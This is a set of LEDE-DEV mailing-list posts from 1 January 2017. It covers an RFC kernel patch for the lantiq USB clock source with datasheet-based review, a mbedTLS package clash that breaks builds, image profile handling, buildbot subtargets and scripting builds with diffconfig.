From dev at kresin.me  Sun Jan  1 02:21:55 2017
From: dev at kresin.me (Mathias Kresin)
Date: Sun,  1 Jan 2017 11:21:55 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: set the usb clock source
Message-ID: <1483266115-7470-1-git-send-email-dev@kresin.me>

The clock source is set by the ltq-hcd driver but are not by the
dwc2 driver. Without having the correct clock set the dwc driver
fails to reset the usb core and errors out. The values for supported
lantiq targets are exactly the same as set by the ltq-hcd driver and
should not cause any regressions.

Fixes FS#351

Signed-off-by: Mathias Kresin <dev at kresin.me>
---

Well the code works but is not really a beauty. But I need some input
to _possibly_ improve the code or at least the commit message.

Based on the disabled code in the ltq-hcd driver I guess for all
targets two bits are used to set the clock source.

I know that on vr9 the bits set to 00 or 11 means "XTAL 36 MHz input
devide by 3" where 00 is the default value.

After playing a bit with the bits, I'm the opinion the same applies to
Danube a well.

It's kinda strange that for Amazon only one bit is cleared within the
ltq-hcd driver. It looks more like an error or yet unknown workaround.
Setting the interface clock bits to 00 (default) does make more sense
to me. I've changed this in contrast to the ltq-hcd driver but do not
have any hardware to check this change or the dwc2 at all on Amazon.

For some reason the usb clock source has already the correct value on
vr9. I'm not sure if any vr9 board uses a clock source different than
the default "XTAL 36 MHz input devide by 3". For completeness I tend to
add the clock source for vr9 as well. Any opinions?

Albeit we obviously don't have an alien board which need a different
clock source than the others, setting the clock source to a fixed value
seams to me a really bad idea. And since it is the second time I had to
touch the CGU_IFCCR register [0][1] I've somehow the impression we need
some glue code to set the different clock sources via some kind of glue
code. I'm not sure what is the best way to do this. Should I add
something similar to the lantiq,phy-clk-src? Is there any chance that
this code is accepted upstream or should we consider it as LEDE hack?
Is the common clock framework maybe the saviour?

Would anyone with access to the datasheets be so kind to confirm:

- all lantiq targets are using two bits to set the clock source
- the meaning of the usbclk bit combinations are the same for all
  lantiq targets (including 00 == 11)
- it is safe to set the usb clock to 00 or 11 for Amazon

If 00 == 11 on Amazon/Danube, the lantiq,ase and lantiq,danube
conditions can be merged.

The lantiq,ar9 can be extended to cover vr9 as well.

[0] https://git.lede-project.org/44cace4dabe186a486d6713de6196bc7cea2228b
[1] https://git.lede-project.org/d4de9f72f31c4716f78fea8950261a3bdafdbccb

 .../0032-lantiq-set-the-usb-clock-source.patch     | 52 ++++++++++++++++++++++
 ...MIPS-lantiq-danube-initialize-usb-on-boot.patch |  2 +-
 .../linux/lantiq/patches-4.4/0047-poweroff.patch   |  4 +-
 3 files changed, 55 insertions(+), 3 deletions(-)
 create mode 100644 target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch

diff --git a/target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch b/target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch
new file mode 100644
index 0000000..bfc41aa
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch
@@ -0,0 +1,52 @@
+From 6e6569954319ef5f3e8c6a2c56056a90dd3c4ca0 Mon Sep 17 00:00:00 2001
+From: Mathias Kresin <dev at kresin.me>
+Date: Sat, 31 Dec 2016 10:46:18 +0100
+Subject: [PATCH] MIPS: lantiq: set the usb clock source
+
+The clock source is set by the ltq-hcd driver but are not by the
+dwc2 driver. Without having the correct clock set the dwc driver
+fails to reset the usb core and errors out. The values for supported
+lantiq targets are exactly the same as set by the ltq-hcd driver and
+should not cause any regressions.
+
+Signed-off-by: Mathias Kresin <dev at kresin.me>
+---
+
+ arch/mips/lantiq/xway/reset.c | 14 ++++++++++++++
+ 1 file changed, 14 insertions(+)
+
+--- a/arch/mips/lantiq/xway/reset.c
++++ b/arch/mips/lantiq/xway/reset.c
+@@ -95,6 +95,14 @@
+ #define PMU_USB0_P		BIT(0)
+ #define PMU_USB1_P		BIT(26)
+ 
++/* USB clock */
++#define CGU_IFCCR		0x0018
++#define CGU_USBCLK_MASK		0x3
++#define CGU_USBCLK_DEFAULT	0x0
++#define CGU_USBCLK_DIRECT	0x1
++#define CGU_USBCLK_PPL0		0x2
++#define CGU_USBCLK_XTAL		0x3
++
+ /* remapped base addr of the reset control unit */
+ static void __iomem *ltq_rcu_membase;
+ static struct device_node *ltq_rcu_np;
+@@ -317,6 +325,17 @@ static void ltq_usb_init(void)
+ 	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | BIT(0), RCU_CFG1A);
+ 	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | BIT(0), RCU_CFG1B);
+ 
++	/* set usb clock source */
++	if (of_machine_is_compatible("lantiq,ase"))
++		ltq_cgu_w32((ltq_cgu_r32(CGU_IFCCR) & ~(CGU_USBCLK_MASK << 4))
++			| (CGU_USBCLK_DEFAULT << 4), CGU_IFCCR);
++	else if (of_machine_is_compatible("lantiq,danube"))
++		ltq_cgu_w32((ltq_cgu_r32(CGU_IFCCR) & ~(CGU_USBCLK_MASK << 4))
++			| (CGU_USBCLK_XTAL << 4), CGU_IFCCR);
++	else if (of_machine_is_compatible("lantiq,ar9"))
++		ltq_cgu_w32((ltq_cgu_r32(CGU_IFCCR) & ~CGU_USBCLK_MASK)
++			| CGU_USBCLK_XTAL, CGU_IFCCR);
++
+ 	/* Enable USB PHY power for cores 1 & 2 */
+ 	ltq_pmu_enable(PMU_USB0_P);
+ 	ltq_pmu_enable(PMU_USB1_P);
diff --git a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
index bd42f38..75d5457 100644
--- a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
+++ b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
@@ -1,6 +1,6 @@
 --- a/arch/mips/lantiq/xway/reset.c
 +++ b/arch/mips/lantiq/xway/reset.c
-@@ -370,6 +370,7 @@ static int __init mips_reboot_setup(void
+@@ -389,6 +389,7 @@ static int __init mips_reboot_setup(void
  		panic("Failed to remap core memory");
  
  	if (of_machine_is_compatible("lantiq,ar9") ||
diff --git a/target/linux/lantiq/patches-4.4/0047-poweroff.patch b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
index 88aed2c..d34ec99 100644
--- a/target/linux/lantiq/patches-4.4/0047-poweroff.patch
+++ b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
@@ -1,6 +1,6 @@
 --- a/arch/mips/lantiq/xway/reset.c
 +++ b/arch/mips/lantiq/xway/reset.c
-@@ -301,12 +301,6 @@ static void ltq_machine_halt(void)
+@@ -309,12 +309,6 @@ static void ltq_machine_halt(void)
  	unreachable();
  }
  
@@ -13,7 +13,7 @@
  static void ltq_usb_init(void)
  {
  	/* Power for USB cores 1 & 2 */
-@@ -380,7 +374,6 @@ static int __init mips_reboot_setup(void
+@@ -399,7 +393,6 @@ static int __init mips_reboot_setup(void
  
  	_machine_restart = ltq_machine_restart;
  	_machine_halt = ltq_machine_halt;
-- 
2.7.4



From dev at kresin.me  Sun Jan  1 02:45:18 2017
From: dev at kresin.me (Mathias Kresin)
Date: Sun, 1 Jan 2017 11:45:18 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: set the usb clock source
In-Reply-To: <1483266115-7470-1-git-send-email-dev@kresin.me>
References: <1483266115-7470-1-git-send-email-dev@kresin.me>
Message-ID: <f5c1d2b0-4ed0-ac5d-911c-8966a7f024e5@kresin.me>

01.01.2017 11:21, Mathias Kresin:
> The clock source is set by the ltq-hcd driver but are not by the
> dwc2 driver. Without having the correct clock set the dwc driver
> fails to reset the usb core and errors out. The values for supported
> lantiq targets are exactly the same as set by the ltq-hcd driver and
> should not cause any regressions.
>
> Fixes FS#351
>
> Signed-off-by: Mathias Kresin <dev at kresin.me>

Failed to set the correct subject prefix. This one is a RFC.

Mathias


From alberto.bursi at outlook.it  Sun Jan  1 03:51:51 2017
From: alberto.bursi at outlook.it (Alberto Bursi)
Date: Sun, 1 Jan 2017 11:51:51 +0000
Subject: [LEDE-DEV] Blackhole routes and other tidbits on the network
 configuration wiki page
In-Reply-To: <122D36A2-36DD-49F3-8320-182D4874739E@redfish-solutions.com>
References: <122D36A2-36DD-49F3-8320-182D4874739E@redfish-solutions.com>
Message-ID: <AM3PR08MB0642181363C29066F5420B10926C0@AM3PR08MB0642.eurprd08.prod.outlook.com>



On 12/31/2016 11:33 PM, Philip Prindeville wrote:
> I was going over the ?Network configuration? page on the wiki and it?s a little thin on routes.  In particular, it implies that for a route you always need interface/target/netmask/gateway? but in the case of type=blackhole, a gateway doesn?t really seem applicable.
>
> So would you have:
>
> config route
> 	option interface ?lan?
> 	option target ?192.168.1.99?
> 	option netmask ?255.255.255.255?
> 	option type ?blackhole'
>
>
> instead?  For that matter, do you really even need the ?interface? part?
>
> Who owns that wiki page?  I was trying to figure that out using the wiki itself but couldn?t figure out how.
>
> -Philip
>

There is no "owner", although you can see the people that modified it if 
you click on the little clock icon on the right.

I'm "bobafetthotmail" wiki user, I ported that wiki page more or less 
as-is from OpenWRT wiki.
Since I know little of routing (in LEDE or otherwise) I just gave it its 
own article, splitting it from a larger page with many networking 
topics, but I could not really change it or add anything to it.

If you want to improve it, please register/login in the wiki and do so.

-Alberto

From nbd at nbd.name  Sun Jan  1 04:26:30 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 1 Jan 2017 13:26:30 +0100
Subject: [LEDE-DEV] [PATCH 04/11] build: image.mk: don't install-images
 for devices not selected
In-Reply-To: <CAECwjAiQwWAMHdiY4Ze5f8dyXvLSxq2_suAs5WjfVJ0V2SR+mg@mail.gmail.com>
References: <1483203997-12577-1-git-send-email-yszhou4tech@gmail.com>
 <1483203997-12577-5-git-send-email-yszhou4tech@gmail.com>
 <ee661cf6-85b7-9145-539c-9547ee9b4ddb@nbd.name>
 <CAECwjAiQwWAMHdiY4Ze5f8dyXvLSxq2_suAs5WjfVJ0V2SR+mg@mail.gmail.com>
Message-ID: <87ea258f-3293-a2a2-2974-6578edbfce09@nbd.name>

On 2016-12-31 19:06, Yousong Zhou wrote:
> On 1 January 2017 at 01:11, Felix Fietkau <nbd at nbd.name> wrote:
>> On 2016-12-31 18:06, Yousong Zhou wrote:
>>> This commit tries to fix the following situation
>>>
>>>  - CONFIG_TARGET_MULTIPLE_PROFILE is not set
>>>  - CONFIG_TARGET_sunxi_DEVICE_sun7i-a20-cubieboard2=y
>>>  - All other devices are not selected
>>>
>>> The build system will still try to install-images for those other
>>> devices as PROFILES and PROFILE has value DEVICE_sun7i-a20-cubieboard2
>>>
>>> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
>> This is wrong and breaks using generic profiles. Please just set
>> PROFILES:= <name of generic profile> in Device/Default in the sunxi
>> image makefile.
>>
>> - Felix
>>
> 
> Am I right that if there is no such generic profile for a target,
> PROFILES should be set to a non-existent value in Device/Default, just
> to override what's set in Device/InitProfile?
Correct, but I'd prefer having a default profile to make it easier for
users.

- Felix



From openwrt at ezplanet.net  Sun Jan  1 07:10:31 2017
From: openwrt at ezplanet.net (Mauro M.)
Date: Sun, 1 Jan 2017 15:10:31 +0000
Subject: [LEDE-DEV] LEDE Fails to build
In-Reply-To: <HE1PR10MB0041200CEE67B62511669FC1ED6C0@HE1PR10MB0041.EURPRD10.PROD.OUTLOOK.COM>
References: <HE1PR10MB0041200CEE67B62511669FC1ED6C0@HE1PR10MB0041.EURPRD10.PROD.OUTLOOK.COM>
Message-ID: <ba41a4c9-1a38-eaf3-892b-d72549cafc26@ezplanet.net>

Hi All,

All the updates from git after r2449 fail to build with the following error:

Configuring zip.
Configuring luci-app-hd-idle.
Configuring ppp-mod-pppoe.
Configuring luci-app-openvpn.
Configuring ipvsadm.
Configuring kmod-ledtrig-netdev.
Collected errors:
  * check_data_file_clashes: Package libustream-polarssl wants to 
install file 
/net2/router/lede/trunk-ipvs/build_dir/target-mips_24kc_musl-1.1.15/root-ar71xx/lib/libustream-ssl.so
     But that file is already provided by package  * libustream-mbedtls
  * opkg_install_cmd: Cannot install package libustream-polarssl.
package/Makefile:60: recipe for target 'package/install' failed
make[2]: *** [package/install] Error 255
make[2]: Leaving directory '/net2/router/lede/trunk-ipvs'
package/Makefile:130: recipe for target 
'/net2/router/lede/trunk-ipvs/staging_dir/target-mips_24kc_musl-1.1.15/stamp/.package_install' 
failed
make[1]: *** 
[/net2/router/lede/trunk-ipvs/staging_dir/target-mips_24kc_musl-1.1.15/stamp/.package_install] 
Error 2
make[1]: Leaving directory '/net2/router/lede/trunk-ipvs'
/net2/router/lede/trunk-ipvs/include/toplevel.mk:197: recipe for target 
'world' failed
make: *** [world] Error 2

Is this happening to everyone?

Thanks!


From weedy2887 at gmail.com  Sun Jan  1 07:34:45 2017
From: weedy2887 at gmail.com (Weedy)
Date: Sun, 1 Jan 2017 10:34:45 -0500
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <CAECwjAjQrJCN4+Khh3cCibGXQEAWn_UriFrFKNS=4hCEyHjPpQ@mail.gmail.com>
 <D2C82664-953C-4E0C-A1E6-F9F777DC5420@redfish-solutions.com>
 <CAECwjAiwynC-Ba_FsxHHYP2gBuNN_wpSZzA_jMUC1mWuomvvbw@mail.gmail.com>
 <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
Message-ID: <CAFE24U2GEuCOxDbinJMAEsDozZrNHPZdEb-Co+MBOV8c97Dn6g@mail.gmail.com>

On 31 December 2016 at 20:23, Philip Prindeville
<philipp_subx at redfish-solutions.com> wrote:
>
>> On Dec 31, 2016, at 9:32 AM, Yousong Zhou <yszhou4tech at gmail.com> wrote:
>>
>> On 31 December 2016 at 06:13, Philip Prindeville
>> <philipp_subx at redfish-solutions.com> wrote:
>>>
>>> I noticed that in Openwrt a lot of the x86 subtargets (alix, geos, net5501) had gone away (well, been combined into a generic ?geode? image).
>>>
>>> -Philip
>>
>> I can only guess it's very likely for the purpose of saving buildbot
>> resources.  But I never played those subtargets myself and have no
>> idea whether they still work (they should though)
>>
>>                yousong
>
> Pruning useful subtargets to solve a buildbot resource shortage seems like taking a sledgehammer to kill a fly.
>
> Why not instead just add a profile attribute like:
>
> BUILDBOT_BUILD_ME:=no
>
> Whether it?s still useful to *build* a subtarget is a different question that whether it?s still useful (from a pedagogical perspective) to *keep* a subtarget in the SCM? and these questions shouldn?t be conflated.
>
> -Philip


If this is going to be the road we travel down (I'm bikeshedding here)
wouldn't a  BUILDBOT_INTERVAL:=daily/3d/7d/14d make more sense?

We have more then a few full on targets that for the most part are
much less popular then say ar71xx.


From hauke at hauke-m.de  Sun Jan  1 08:24:10 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Sun, 1 Jan 2017 17:24:10 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: set the usb clock source
In-Reply-To: <1483266115-7470-1-git-send-email-dev@kresin.me>
References: <1483266115-7470-1-git-send-email-dev@kresin.me>
Message-ID: <2339b8dd-474b-4a85-e120-a6a12c1acc26@hauke-m.de>



On 01/01/2017 11:21 AM, Mathias Kresin wrote:
> The clock source is set by the ltq-hcd driver but are not by the
> dwc2 driver. Without having the correct clock set the dwc driver
> fails to reset the usb core and errors out. The values for supported
> lantiq targets are exactly the same as set by the ltq-hcd driver and
> should not cause any regressions.
> 
> Fixes FS#351
> 
> Signed-off-by: Mathias Kresin <dev at kresin.me>
> ---
> 
> Well the code works but is not really a beauty. But I need some input
> to _possibly_ improve the code or at least the commit message.
> 
> Based on the disabled code in the ltq-hcd driver I guess for all
> targets two bits are used to set the clock source.
> 
> I know that on vr9 the bits set to 00 or 11 means "XTAL 36 MHz input
> devide by 3" where 00 is the default value.
> 
> After playing a bit with the bits, I'm the opinion the same applies to
> Danube a well.
> 
> It's kinda strange that for Amazon only one bit is cleared within the
> ltq-hcd driver. It looks more like an error or yet unknown workaround.
> Setting the interface clock bits to 00 (default) does make more sense
> to me. I've changed this in contrast to the ltq-hcd driver but do not
> have any hardware to check this change or the dwc2 at all on Amazon.
> 
> For some reason the usb clock source has already the correct value on
> vr9. I'm not sure if any vr9 board uses a clock source different than
> the default "XTAL 36 MHz input devide by 3". For completeness I tend to
> add the clock source for vr9 as well. Any opinions?
> 
> Albeit we obviously don't have an alien board which need a different
> clock source than the others, setting the clock source to a fixed value
> seams to me a really bad idea. And since it is the second time I had to
> touch the CGU_IFCCR register [0][1] I've somehow the impression we need
> some glue code to set the different clock sources via some kind of glue
> code. I'm not sure what is the best way to do this. Should I add
> something similar to the lantiq,phy-clk-src? Is there any chance that
> this code is accepted upstream or should we consider it as LEDE hack?
> Is the common clock framework maybe the saviour?
> 
> Would anyone with access to the datasheets be so kind to confirm:
> 
> - all lantiq targets are using two bits to set the clock source
> - the meaning of the usbclk bit combinations are the same for all
>   lantiq targets (including 00 == 11)
> - it is safe to set the usb clock to 00 or 11 for Amazon
> 
> If 00 == 11 on Amazon/Danube, the lantiq,ase and lantiq,danube
> conditions can be merged.
> 
> The lantiq,ar9 can be extended to cover vr9 as well.
> 
> [0] https://git.lede-project.org/44cace4dabe186a486d6713de6196bc7cea2228b
> [1] https://git.lede-project.org/d4de9f72f31c4716f78fea8950261a3bdafdbccb

This is copied from the different documentations:

On Danube it looks like this:

USB Clock Source
Clock config is configured to:
00 B Internal, 12 MHz internal
01 B External, from USB XTAL (default)
10 B External/4, from USB XTAL then divided by 4
11 B 12, special internal clock generated from 36 MHz source

Bit 5:4 on reg 0x0018, reset value of this bit is 01 B


On Amazon SE it looks like this:

12 MHz USB Clock Source
Clock config is configured to:
0 B Divider after divider
1 B XTALInput From XTAL only

Bit 5 on reg 0x0018, reset value of this bit is 0 B


On xRX200 (VR9) it looke like this:

USB 12 MHz Clock Source
Clock config is configured to:
00 B 12 MHz XTAL 36 MHz input divide by 3 (default)
01 B 12 MHz XTAL 36 MHz input is directly provided to USB (This is
reserved for running with 12 MHz XTAL)
10 B 12 MHz 12 MHz USB clock derived from PLL0 300 MHz output as
divide by 25 (for 25 MHz XTAL input, this is only valid option)
11 B 12 MHz XTAL 36 MHz input divide by 3

Bit 1:0 on reg 0x0024, reset value of this bit is 00 B

On xRX200 this depends on the confiuration of the CLK_OUT0, CLK_OUT1 and
CLK_OUT3.


Currently I do not have the documentation of the AR9 at hand, will
search for it later.

>  .../0032-lantiq-set-the-usb-clock-source.patch     | 52 ++++++++++++++++++++++
>  ...MIPS-lantiq-danube-initialize-usb-on-boot.patch |  2 +-
>  .../linux/lantiq/patches-4.4/0047-poweroff.patch   |  4 +-
>  3 files changed, 55 insertions(+), 3 deletions(-)
>  create mode 100644 target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch
> 
> diff --git a/target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch b/target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch
> new file mode 100644
> index 0000000..bfc41aa
> --- /dev/null
> +++ b/target/linux/lantiq/patches-4.4/0032-lantiq-set-the-usb-clock-source.patch
> @@ -0,0 +1,52 @@
> +From 6e6569954319ef5f3e8c6a2c56056a90dd3c4ca0 Mon Sep 17 00:00:00 2001
> +From: Mathias Kresin <dev at kresin.me>
> +Date: Sat, 31 Dec 2016 10:46:18 +0100
> +Subject: [PATCH] MIPS: lantiq: set the usb clock source
> +
> +The clock source is set by the ltq-hcd driver but are not by the
> +dwc2 driver. Without having the correct clock set the dwc driver
> +fails to reset the usb core and errors out. The values for supported
> +lantiq targets are exactly the same as set by the ltq-hcd driver and
> +should not cause any regressions.
> +
> +Signed-off-by: Mathias Kresin <dev at kresin.me>
> +---
> +
> + arch/mips/lantiq/xway/reset.c | 14 ++++++++++++++
> + 1 file changed, 14 insertions(+)
> +
> +--- a/arch/mips/lantiq/xway/reset.c
> ++++ b/arch/mips/lantiq/xway/reset.c
> +@@ -95,6 +95,14 @@
> + #define PMU_USB0_P		BIT(0)
> + #define PMU_USB1_P		BIT(26)
> + 
> ++/* USB clock */
> ++#define CGU_IFCCR		0x0018
> ++#define CGU_USBCLK_MASK		0x3

These bits are named USBSEL in the Dabube and Amazon SE and USB_SEL in
xrx200 documentation.

> ++#define CGU_USBCLK_DEFAULT	0x0
> ++#define CGU_USBCLK_DIRECT	0x1
> ++#define CGU_USBCLK_PPL0		0x2
> ++#define CGU_USBCLK_XTAL		0x3
> ++
> + /* remapped base addr of the reset control unit */
> + static void __iomem *ltq_rcu_membase;
> + static struct device_node *ltq_rcu_np;
> +@@ -317,6 +325,17 @@ static void ltq_usb_init(void)
> + 	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | BIT(0), RCU_CFG1A);
> + 	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | BIT(0), RCU_CFG1B);
> + 
> ++	/* set usb clock source */
> ++	if (of_machine_is_compatible("lantiq,ase"))
> ++		ltq_cgu_w32((ltq_cgu_r32(CGU_IFCCR) & ~(CGU_USBCLK_MASK << 4))
> ++			| (CGU_USBCLK_DEFAULT << 4), CGU_IFCCR);

This is wrong.

> ++	else if (of_machine_is_compatible("lantiq,danube"))
> ++		ltq_cgu_w32((ltq_cgu_r32(CGU_IFCCR) & ~(CGU_USBCLK_MASK << 4))
> ++			| (CGU_USBCLK_XTAL << 4), CGU_IFCCR);
> ++	else if (of_machine_is_compatible("lantiq,ar9"))
> ++		ltq_cgu_w32((ltq_cgu_r32(CGU_IFCCR) & ~CGU_USBCLK_MASK)
> ++			| CGU_USBCLK_XTAL, CGU_IFCCR);
> ++
> + 	/* Enable USB PHY power for cores 1 & 2 */
> + 	ltq_pmu_enable(PMU_USB0_P);
> + 	ltq_pmu_enable(PMU_USB1_P);
> diff --git a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
> index bd42f38..75d5457 100644
> --- a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
> +++ b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
> @@ -1,6 +1,6 @@
>  --- a/arch/mips/lantiq/xway/reset.c
>  +++ b/arch/mips/lantiq/xway/reset.c
> -@@ -370,6 +370,7 @@ static int __init mips_reboot_setup(void
> +@@ -389,6 +389,7 @@ static int __init mips_reboot_setup(void
>   		panic("Failed to remap core memory");
>   
>   	if (of_machine_is_compatible("lantiq,ar9") ||
> diff --git a/target/linux/lantiq/patches-4.4/0047-poweroff.patch b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
> index 88aed2c..d34ec99 100644
> --- a/target/linux/lantiq/patches-4.4/0047-poweroff.patch
> +++ b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
> @@ -1,6 +1,6 @@
>  --- a/arch/mips/lantiq/xway/reset.c
>  +++ b/arch/mips/lantiq/xway/reset.c
> -@@ -301,12 +301,6 @@ static void ltq_machine_halt(void)
> +@@ -309,12 +309,6 @@ static void ltq_machine_halt(void)
>   	unreachable();
>   }
>   
> @@ -13,7 +13,7 @@
>   static void ltq_usb_init(void)
>   {
>   	/* Power for USB cores 1 & 2 */
> -@@ -380,7 +374,6 @@ static int __init mips_reboot_setup(void
> +@@ -399,7 +393,6 @@ static int __init mips_reboot_setup(void
>   
>   	_machine_restart = ltq_machine_restart;
>   	_machine_halt = ltq_machine_halt;
> 


From ynezz at true.cz  Sun Jan  1 09:13:31 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Sun, 1 Jan 2017 18:13:31 +0100
Subject: [LEDE-DEV] Scripting builds... how to?
In-Reply-To: <0F44BFC3-7311-4D3F-8196-3E0A9E04897D@redfish-solutions.com>
References: <0F44BFC3-7311-4D3F-8196-3E0A9E04897D@redfish-solutions.com>
Message-ID: <20170101171330.GD17320@ibawizard.net>

Philip Prindeville <philipp_subx at redfish-solutions.com> [2016-12-31 16:12:21]:

Hi,

> cp ../my-saved-config .config
> make defconfig

I use the same steps also.

> to generate the .config file in a completely scripted way, by seeding it with the minimum set of relevant parameters (the deltas) per the steps described here:
> 
> https://wiki.openwrt.org/doc/howto/build
> 
> Is there an equivalent way to generate the kernel config by seeding it with minimum state?

Look at the scripts/diffconfig file for details, probably at the kconfig.pl usage.

> I don?t want to save the complete .config because that changes from release to release, so there wouldn?t be any point? all I care about is how I?m differentiating my build from the defaults.

You can just do:

  scripts/diffconfig > ../my-saved-config

it should contain everything needed to build the image.

-- ynezz


From devel-sven at geroedel.de  Sun Jan  1 09:14:33 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 01 Jan 2017 18:14:33 +0100
Subject: [LEDE-DEV] Scripting builds... how to?
In-Reply-To: <0F44BFC3-7311-4D3F-8196-3E0A9E04897D@redfish-solutions.com>
References: <0F44BFC3-7311-4D3F-8196-3E0A9E04897D@redfish-solutions.com>
Message-ID: <1506277.88hEgU04rQ@strike>

Am Samstag, 31. Dezember 2016, 16:12:21 CET schrieb Philip Prindeville:
> Hi.
> 
> I wanted to be able to script building images completely.
....
> Is there an equivalent way to generate the kernel config by seeding it with
> minimum state?
> 
> I don?t want to save the complete .config because that changes from release
> to release, so there wouldn?t be any point? all I care about is how I?m
> differentiating my build from the defaults.
> 

Philip,

maybe you will have a look on the buildscripts for Berlin-Freifunk [1].
We use OpenWrt inside our buildscripts and having a "config"-directory with a 
common config and an additional config for each build.
We use this all to have diferent configurations per architecture and dan even 
build different images with a individual set to packages included.

Sven

[1] - https://github.com/freifunk-berlin/firmware

I think 


From mkroken at gmail.com  Sun Jan  1 09:23:24 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Sun, 1 Jan 2017 18:23:24 +0100
Subject: [LEDE-DEV] LEDE Fails to build
In-Reply-To: <ba41a4c9-1a38-eaf3-892b-d72549cafc26@ezplanet.net>
References: <HE1PR10MB0041200CEE67B62511669FC1ED6C0@HE1PR10MB0041.EURPRD10.PROD.OUTLOOK.COM>
 <ba41a4c9-1a38-eaf3-892b-d72549cafc26@ezplanet.net>
Message-ID: <9fbe29c8-d2b7-b3c0-8bbf-90898b230f1d@gmail.com>

Hi Mauro

On 01.01.2017 16.10, Mauro M. wrote:
> Collected errors:
>  * check_data_file_clashes: Package libustream-polarssl wants to install
> file
> /net2/router/lede/trunk-ipvs/build_dir/target-mips_24kc_musl-1.1.15/root-ar71xx/lib/libustream-ssl.so
>
>     But that file is already provided by package  * libustream-mbedtls
>  * opkg_install_cmd: Cannot install package libustream-polarssl.

Try updating all LEDE code as well as all enabled package feeds, and 
updating your configuration (backup, then make defconfig). This is 
probably caused by LEDE and feeds moving to mbed TLS 2.x as default TLS 
library.

If it still fails, run make menuconfig and find out which package 
selects libustream-polarssl. Grepping my tree, cshark (in 
feeds/packages) is the only package that depends on libustream-polarssl 
at this point.

Regards
/Magnus


From yszhou4tech at gmail.com  Sun Jan  1 10:07:25 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Mon, 2 Jan 2017 02:07:25 +0800
Subject: [LEDE-DEV] [PATCH 04/11] build: image.mk: don't install-images
 for devices not selected
In-Reply-To: <87ea258f-3293-a2a2-2974-6578edbfce09@nbd.name>
References: <1483203997-12577-1-git-send-email-yszhou4tech@gmail.com>
 <1483203997-12577-5-git-send-email-yszhou4tech@gmail.com>
 <ee661cf6-85b7-9145-539c-9547ee9b4ddb@nbd.name>
 <CAECwjAiQwWAMHdiY4Ze5f8dyXvLSxq2_suAs5WjfVJ0V2SR+mg@mail.gmail.com>
 <87ea258f-3293-a2a2-2974-6578edbfce09@nbd.name>
Message-ID: <CAECwjAgtwxsM_CRhNCRPL12J4pun1cR18MLkMmNMTyKD4Jgjcg@mail.gmail.com>

On 1 January 2017 at 20:26, Felix Fietkau <nbd at nbd.name> wrote:
> On 2016-12-31 19:06, Yousong Zhou wrote:
>> On 1 January 2017 at 01:11, Felix Fietkau <nbd at nbd.name> wrote:
>>> On 2016-12-31 18:06, Yousong Zhou wrote:
>>>> This commit tries to fix the following situation
>>>>
>>>>  - CONFIG_TARGET_MULTIPLE_PROFILE is not set
>>>>  - CONFIG_TARGET_sunxi_DEVICE_sun7i-a20-cubieboard2=y
>>>>  - All other devices are not selected
>>>>
>>>> The build system will still try to install-images for those other
>>>> devices as PROFILES and PROFILE has value DEVICE_sun7i-a20-cubieboard2
>>>>
>>>> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
>>> This is wrong and breaks using generic profiles. Please just set
>>> PROFILES:= <name of generic profile> in Device/Default in the sunxi
>>> image makefile.
>>>
>>> - Felix
>>>
>>
>> Am I right that if there is no such generic profile for a target,
>> PROFILES should be set to a non-existent value in Device/Default, just
>> to override what's set in Device/InitProfile?
> Correct, but I'd prefer having a default profile to make it easier for
> users.
>
> - Felix
>

If the default device profile is meant to be used to make a single
image that can run on all device, then in the case of sunxi, it is not
possible at least with regard to uboot.

Or if the default device profile is meant to be selected as the
default just to implicitly enable all other profiles of the same
target/subtarget, then again in the case of sunxi it has the
dependency problem as illustrated above.  Besides, the build system
can already select multiple devices and enable all profiles (devices)
with explicit config symbols.  Can this goal of the default profile be
dropped?

My current understanding is that the profiles/*.mk thing is part of
the old code and is to be replaced with the Device/xxx thing.  Correct
me if I am wrong ;)

